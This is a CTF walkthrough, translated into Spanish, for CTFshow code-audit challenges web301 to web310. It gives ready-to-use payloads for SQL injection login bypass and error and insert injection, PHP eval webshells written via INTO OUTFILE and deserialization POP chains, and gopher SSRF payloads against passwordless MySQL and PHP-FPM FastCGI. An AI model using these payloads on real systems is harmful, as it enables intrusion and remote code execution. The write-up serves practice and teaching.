CTFshow código de auditoría web301
La estructura de directorios del archivo adjunto descargado es la siguiente:
Después de abrir la pregunta, cuando ve la interfaz y el cuadro de entrada, se siente como SQL.
Al examinar el código fuente, podemos encontrar que checklogin.php
hay declaraciones SQL sin filtrar en el archivo y que la inyección SQL no es posible.
Hay tres enfoques para la inyección SQL en esta pregunta.
método uno:
Las ciegas ordinarias, el tiempo y los valores booleanos son aceptables, por lo que no entraré en detalles aquí.
Método dos:
Inyección conjunta.
Al consultar conjuntamente datos que no existen, la consulta conjunta construirá datos virtuales, lo que equivale a crear una cuenta virtual, y puede usar esta cuenta para iniciar sesión.
De hecho, es fácil de entender: normalmente, cuando inyectamos conjuntamente, la carga útil suele ser así: ?id=1 and 1=2 union select 1,database()#
. Se nos devuelven dos bits de eco 1 数据库名称
. ¿De dónde viene este 1? Son ...select 1...
los datos virtuales creados 1.
Luego explique las 17 líneas de declaraciones en el mismo archivo.Si if(!strcasecmp($userpwd,$row['sds_password']))
se cumplen las condiciones, el inicio de sesión será exitoso. La función en PHP strcasecmp()
compara cadenas, si str1 es menor que str2, devuelve < 0; si str1 es mayor que str2, devuelve > 0; si son iguales, devuelve 0.
orugas:
账号:-1' union select 1717#
密码:1717
La cuenta ingresó la declaración SQL y se empalmó, no se consultó el contenido, pero se crearon datos virtuales 1717
. Entonces es el regreso 1717
. El programa consideró 1717
la contraseña consultada en la base de datos como el número de cuenta, y la contraseña que ingresamos también fue la misma 1717
, strcasecmp()
la función juzgó que era igual y el inicio de sesión fue exitoso.
Dar bandera si el inicio de sesión es exitoso
Método tres:
Escribe al shell. También es una inyección SQL básica, por lo que no entraré en detalles sobre el principio.
carga útil:
账号:-1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#
密码:1
Para acceder /shell.php
, getshell directamente
CTFshow código de auditoría web302
Modificación: if(!strcasecmp(sds_decode( userpwd ), userpwd),contraseña de usuario d ) , fila ['sds_password']))
Función sds_decode:
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
Se estima que la contraseña de la base de datos está cifrada. Por ejemplo, nuestra contraseña es 1717
, después de cifrarse md5(md5('1717'.md5(base64_encode("sds")))."sds")
, se almacena en la base de datos 1e715c20ac9c36a193b564d39ed5fd6b
.
Todavía hay tres métodos. La inyección ciega y la escritura en el shell permanecen sin cambios. La inyección conjunta crea datos ficticios con sólo unos pocos cambios.
carga útil:
账号:-1' union select '1e715c20ac9c36a193b564d39ed5fd6b'#
密码:1717
CTFshow código de auditoría web303
Estructura del directorio del código fuente:
Después de descargar el código fuente y mirar el checklogin.php
archivo original, descubrí que la longitud de nuestro punto de inyección está limitada $username
a 6 o menos, por lo que no podemos usar este punto de inyección para la inyección.
Continúe mirando el código fuente y descubra que hay comentarios en los archivos dpt.php
y .dptadd.php
//注入点
dpt.php
dptadd.php
Pero si queremos acceder a estos dos archivos, primero debemos iniciar sesión, $_SESSION['login']
de lo contrario seremos redirigidos login.php
. Continúe mirando el código fuente para descubrir cómo obtener la cuenta y la contraseña para iniciar sesión.
Encontramos la declaración rápida en fun.php echo sds_decode("admin");
y supusimos que la contraseña de la cuenta esadmin
Hay información de cuenta y contraseña en el archivo SQL. La contraseña está cifrada y escrita por la función, y la entrada en el cuadro de entrada no la afectará.
Entrada del cuadro de entrada:
账号:admin
密码:admin
Interfaz después de iniciar sesión:
dpt.php
La función es mostrar datos. Pero descubrimos que no hay variables controlables en la declaración SQL, ¡ni siquiera variables! Aquí está el punto de inyección falso.
$_GET['id']=!empty($_GET['id'])?$_GET['id']:NULL;
$page=$_GET['id'];
$sql="select * from sds_dpt order by id;";
$result=$mysqli->query($sql);
dptadd.php
La función es agregar datos (insertar en), la declaración SQL aquí tiene variables controlables y es el punto de inyección real. Podemos hacerlo insert注入
, 报错注入
porque die(mysqli_error($mysqli));
se repite la declaración de error de SQL.
//注入点
$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
$dpt_name=$_POST['dpt_name'];
$dpt_address=$_POST['dpt_address'];
$dpt_build_year=$_POST['dpt_build_year'];
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=$_POST['dpt_cert_number'];
$dpt_telephone_number=$_POST['dpt_telephone_number'];
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;
if($result===true){
$mysqli->close();
header("location:dpt.php");
}else{
die(mysqli_error($mysqli));
}
1. insertar inyección
declaración SQL:
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
El principio es que una determinada variable de inserción se reemplaza por una declaración de consulta de selección. Al insertar, primero ejecute la declaración de consulta para encontrar los datos que queremos y luego escriba los datos que queremos (marca) en la base de datos donde podemos directamente Consúltelo, utilizando la función de consulta de datos propia del sistema, nos envía directamente los datos que queremos (los datos insertados, es decir, la bandera).
Por ejemplo, la siguiente declaración inserta el nombre de la base de datos en la tabla de usuarios.
$dpt_name="(select database())";
$sql="insert into user set name='".$dpt_name."';";
Empieza a hacer las preguntas:
Para buscar la tabla, es tan simple como pasar un parámetro y luego cerrarlo directamente.
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
Campo de consulta
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#
comprobar el valor de los datos
dpt_name=1',sds_address=(select flag from sds_fl9g)#
2. Inyección de errores
No entraré en detalles sobre el método de inyección de clichés aquí, solo colocaré la carga útil directamente.
dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=xxx' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from sds_fl9g),20,30),0x7e),1)#
CTFshow código de auditoría web304
Tema Descripción:
Pero después de escanear el código fuente, no encontré waf. Simplemente cambié el nombre de la tabla y sds_fl9g
lo reemplacé sds_flaag
con . Todo lo demás es igual que arriba.
Están disponibles tanto la inyección de inserción como la inyección de error.
carga útil:
dpt_name=1',sds_address=(select flag from sds_flaag)#
CTFshow código de auditoría web305
Muy diferente a la pregunta anterior. En primer lugar, todos están en waf y la inyección SQL no funcionará. La contraseña de la cuenta de inicio de sesión aún estáadmin
Pero class.php
la clase maliciosa (escritura de archivos) se encontró en y checklogin.php
la operación de deserialización se encontró en .
La idea es deserializar, escribir el shell en el archivo y luego controlar el servidor.
POC de deserialización:
<?php
class user{
public $username;
public $password;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
}
var_dump(urlencode(serialize(new user('1.php','<?php eval($_POST[1]);?>'))));
?>
carga útil: preste atención al enrutamiento
Cookie:
user=O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3B%7D
Después de que la carga fue exitosa, ejecuté getshell y descubrí que la bandera no estaba en el archivo, supuse que estaba en la base de datos.
Si desea aprovechar la base de datos con getshell, simplemente use Ant Sword para conectarse a la base de datos.
Primero, conecta la espada de la hormiga al caparazón.
La cuenta de la base de datos y la contraseña están allí conn.php
, root
respectivamente phpcj
.
Luego haga clic derecho en la operación de datos.
Haga clic en Agregar.
Tenga en cuenta que el tipo de base de datos es MYSQLI
y la contraseña también se root
desconoce. Más tarde descubrí que el código fuente leído en Ant Sword era diferente al que me había dado. conn.php
La contraseña leída en Ant Sword eraroot
Seleccione la columna y ejecútela para obtener la bandera.
CTFshow código de auditoría web306
Descripción del título: Comience a usar la estructura mvc
Sigue siendo PHP deserialización y escritura en un archivo, esta vez es para construir una cadena POP simple.
Esta vez no es necesario iniciar sesión en la cuenta, simplemente agregue el usuario a la cookie. Tenga en cuenta que index.php
la decodificación base64 se realizará durante la deserialización.
cadena:[index.php] unserialize->[dao.php] dao::__destruct()->[class.php] log::close()
POC de deserialización:
<?php
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='a.php';
public $info='<?php eval($_POST[1]);?>';
}
$a=new dao();
echo base64_encode(serialize($a));
carga útil: preste atención al enrutamiento
Cookie:
user=TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiJhLnBocCI7czo0OiJpbmZvIjtzOjI0OiI8P3BocCBldmFsKCRfUE9TVFsxXSk7Pz4iO319
La bandera está en el flag.php
directorio actual.
CTFshow código de auditoría web307
Descripción del título: ¿Es más agradable a la vista?
Esta vez es una estructura MVC real.
O utilice la deserialización de PHP para construir una cadena POP simple y escribirla en un archivo.
No es necesario iniciar sesión en la cuenta, simplemente agregue el usuario a la cookie. Tenga en cuenta que logout.php
la decodificación base64 se realizará durante la deserialización.
Primero busque la clase maliciosa. En /controller/service/dao/dao.php
la dao
clase de archivo, puede unir el comando de ejecución para escribir el shell en el archivo.
logout.php
Contiene service.php
y llama clearCache()
a la función. El servicio se dao
llama a través de la clase clearCache
. logout.php
Requiere yservice.php
requiere, por lo que la función se puede llamar directamente a través de la clase sin usar la clase de servicio.service.php
dao.php
dao
clearCache()
cadena:[/controller/logout.php] unserialize->[/controller/service/dao/dao.php] dao::clearCache()
POC de deserialización:
<?php
class config{
public $cache_dir = 'xxx;echo "<?php eval(\$_POST[1]);?>" >a.php;';
//$不转义的话,双引号会把$_POST[1]解析
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
carga útil: preste atención al enrutamiento
Cookie:
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NDU6Inh4eDtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPmEucGhwOyI7fX0=
bandera en/var/www/html/flag.php
CTFshow código de auditoría web308
Descripción del título: Necesito conseguir un caparazón
Estructura de directorios:
Primero, vea si se puede utilizar el método de ataque anterior.
Inyección SQL:
No hay un punto de inyección obvio, no hay salida de mensaje de error SQL y todas las declaraciones de inserción están en waf. La inyección SQL no es posible.
Deserializar para escribir archivo:
La función sin filtro file_put_contents()
nunca se llama.
Comando de ejecución de deserialización:
En waf, solo puedes ingresar letras mayúsculas y minúsculas.
Desde este punto de vista, todos los métodos de ataque anteriores son ineficaces y necesitamos encontrar otros métodos.
Encontramos un código de firma SSRF obvio en la función y no hubo filtrado fun.php
.checkUpdate()
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
Juntemos todo el código relevante:
//【index.php】
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$lastVersion=$service->checkVersion();
}
//【dao.php】
class dao{
private $config;
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
}
//【config.php】
class config{
private $mysql_username='root';
//没有密码!!!!!
private $mysql_password='';
public $update_url = 'https://vip.ctf.show/version.txt';
}
//【fun.php】
function checkUpdate($url){
$ch=curl_init();
//...
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
Resulta que podemos usar SSRF para crear MySQL sin contraseña. La carga útil de SSRF /index.php
se pasa mediante deserialización.
Encontramos un problema aquí. No sabemos la contraseña para iniciar sesión como administrador. La contraseña aquí ya no está admin
cifrada con MD5.
Muchos maestros, incluido yo hace un momento, pensarán: ¿No está /index.php
redirigido al medio /login.php
?¿Cómo activar la deserialización?
De hecho, header
el código PHP final aún se ejecutará. Aunque se redirige, no afecta la ejecución posterior del código. Si SSRF lo golpea, aún debe ser golpeado por SSRF. La ejecución del código de terminación debe ir seguida de un exit();
odie();
Primero escribamos el POC de deserialización:
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 【SSRF打无密码mysql的payload】;
}
$a= new dao();
echo base64_encode(serialize($a));
?>
Luego generemos [carga útil SSRF para mysql sin contraseña]. Por cierto, este método de ataque corresponde al puerto 3306
.
Abra la consola cmd en la carpeta correspondiente de la herramienta Gopherus. Dirección de descarga de herramientashttps://github.com/tarunkant/Gopherus
python2 gopherus.py --exploit mysql
Hay dos lugares para ingresar.
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%3b%01%00%00%00%01
Si los parámetros se pasan directamente, la carga útil debe estar codificada en URL antes de enviarse. Porque se analizará automáticamente una vez que se envíe al servidor.
Pero aquí se realiza mediante deserialización. Al analizar la carga útil, ya está en el lado del servidor. No es necesario volver a codificarla. Simplemente cv en el POC.
Utilice la carga útil final generada por POC y luego /index.php
pase los parámetros en la cookie en el enrutamiento (no es necesario iniciar sesión, simplemente capture el paquete y cambie la ruta directamente):
service=TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3NjM6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNDYlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMzElNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlMzElMmUlNzAlNjglNzAlMjIlM2IlMDElMDAlMDAlMDAlMDEiO319
Para acceder /1.php
a la ruta, getshell directamente.
CTFshow código de auditoría web309
Descripción del título: Necesita obtener un shell, el método 308 no funciona, mysql tiene una contraseña.
Primero echemos un vistazo al código fuente. El código fuente aún no ha cambiado, tal vez no se haya actualizado.
Primero use el POC de deserialización anterior para escanear manualmente el puerto.
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:【端口】';
}
$a= new dao();
echo base64_encode(serialize($a));
?>
Algunos puertos peligrosos son los siguientes:
#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm(FastCGI) 默认端口
Nunca respondió cuando el puerto estaba configurado en 9000. Es decir, hay un servicio en el puerto 9000.
principio:
Al enviar una solicitud al servidor, el servidor esperará a que enviemos datos y estará en estado de espera. Espere unas cuantas docenas de segundos como máximo.
El protocolo gopher solo envía datos y no realiza ninguna aplicación. Por lo tanto, cuando el protocolo gopher acceda a un puerto abierto, quedará "atascado", esperando a que transmitamos datos, para poder detectar si el puerto está abierto.
Se accede al script utilizando el protocolo gopher. Si excede los dos segundos (el servidor espera la recepción de datos), se considerará que el puerto está abierto. Si no se agota el tiempo de espera (el servidor lo rechaza directamente), significa que el El puerto no está abierto.
Como en la pregunta anterior, el protocolo Gopher de SSRF usa FastCGI (puerto 9000).
Los ataques FastCGI deben cumplir cuatro condiciones:
1. La versión de PHP debe ser superior a 5.3.3 para modificar dinámicamente el archivo de configuración PHP.INI
2. Conozca la ruta absoluta de un archivo PHP en el entorno de preguntas
3. PHP-FPM escucha en el puerto local 9000
4. Versión libcurl >=7,45 ,0
La herramienta Gopherus genera cargas útiles que atacan FastCGI.
python2 gopherus.py --exploit fastcgi
Hay dos lugares donde puedes entrar.
第一个地方输入:
一个已知存在的php文件如/var/www/html/index.php
第二个地方输入:
希望目标服务器执行的恶意命令,比如反弹shell:
tac f*
Consigue la carga útil.
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
Sustituya en el POC para generar directamente la carga útil.
CTFmostrar código de auditoría web310
El código fuente sigue siendo el mismo.
Pruebe FastCGI primero como antes, esta vez escribiendo en el archivo, getshell es más conveniente.
第一个地方输入:
/var/www/html/index.php
第二个地方输入:
echo "<?php eval(\$_POST[1]);?>" >1.php
Tráigalo al POC y pruébelo.
Se descubrió que el archivo se puede escribir correctamente:
Se acabó, esta ola de payasos se fue.
Después de buscar con atención encontré el camino./var/flag/index.html
Lee la bandera.
Cambie de opinión y pruebe el pseudoprotocolo SSRF para leer archivos. Dado que se trata de nginx
un servicio, nginx puede conectarse a php a través de fastcgi, por lo que también habrá información importante en el archivo de configuración de nginx. Lea el archivo de configuración del servicio nginx /etc/nginx/nginx.conf
.
pseudoacuerdofile:///etc/nginx/nginx.conf
POS:
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
$a= new dao();
echo base64_encode(serialize($a));
?>
El contenido del archivo de configuración es el siguiente:
daemon off;
worker_processes auto;
error_log /var/log/nginx/error.log warn;
events {
worker_connections 1024;
}
http {
include /etc/nginx/mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
root /var/www/html;
index index.php;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
}
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
Cada bloque http puede contener varios bloques de servidor, y cada bloque de servidor es equivalente a un host virtual. Varios hosts pueden proporcionar servicios conjuntamente dentro de él y juntos proporcionar un conjunto de servicios lógicamente estrechamente relacionados al mundo exterior.
Prestando atención a la última parte, encontramos que el puerto 4476 está dirigido a /var/flag
, y el contenido del archivo de bandera se puede obtener accediendo al puerto 4476 en la intranet /var/flag
.
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
}
POC final:
<?php
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'http://127.0.0.1:4476';
}
$a= new dao();
echo base64_encode(serialize($a));
?>